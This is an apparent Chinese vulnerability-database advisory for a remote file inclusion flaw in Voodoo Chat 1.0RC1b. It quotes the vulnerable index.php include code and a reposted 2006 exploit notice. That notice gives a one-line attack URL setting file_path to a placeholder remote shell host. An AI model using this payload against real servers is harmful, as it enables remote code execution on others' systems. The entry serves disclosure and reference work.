Voodoo Chat 'index.php' File_Path参数远程文件包含漏洞

https://www.exploit-db.com/exploits/2102
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200608-054

VladVostrykhVoodoochat1.0RC1b及早期版本的index.php脚本存在PHP远程文件包含漏洞，远程攻击者可通过file_path参数中的URL执行任意PHP代码。

#=================================================================
#Voodoo chat 1.0RC1b <= (file_path) Remote File Inclusion Exploit
#================================================================
#                                                                |
#Critical Level : Dangerous                                      |
#                                                                |
#Venedor site : http://vochat.com/                               |
#                                                                |
#Version : 1.0                                                   |
#                                                                |
#=================================================================
#Bug in : index.php
#
#Vlu Code :
#--------------------------------
#//here it can fails, i don't care. will be used default system language
#
#   else include_once($file_path."languages/".$language.".php");
#
#   include($file_path."designes/".$design."/index.php");
#?>
#=================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/index.php?file_path=http://SHELLURL.COM?
#
#===============================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#GreetZ : Bl@Ck^B1rd Semsemmasr Black_Scorpion Medo_Ye7ya Kambaa  NANA Kashtawa
#Skiing Gendiaaa Saw AzIZa SnIpEr_Sa Masry OSA FEGLA 3amer
=================================================================

# milw0rm.com [2006-08-01]

来源:BID
名称:19277
链接:http://www.securityfocus.com/bid/19277
来源:MILW0RM
名称:2102
链接:http://www.milw0rm.com/exploits/2102
来源:VUPEN
名称:ADV-2006-3091
链接:http://www.frsirt.com/english/advisories/2006/3091
来源:XF
名称:voodoo-chat-index-file-include(28197)
链接:http://xforce.iss.net/xforce/xfdb/28197
来源:MILW0RM
名称:2102
链接:http://milw0rm.com/exploits/2102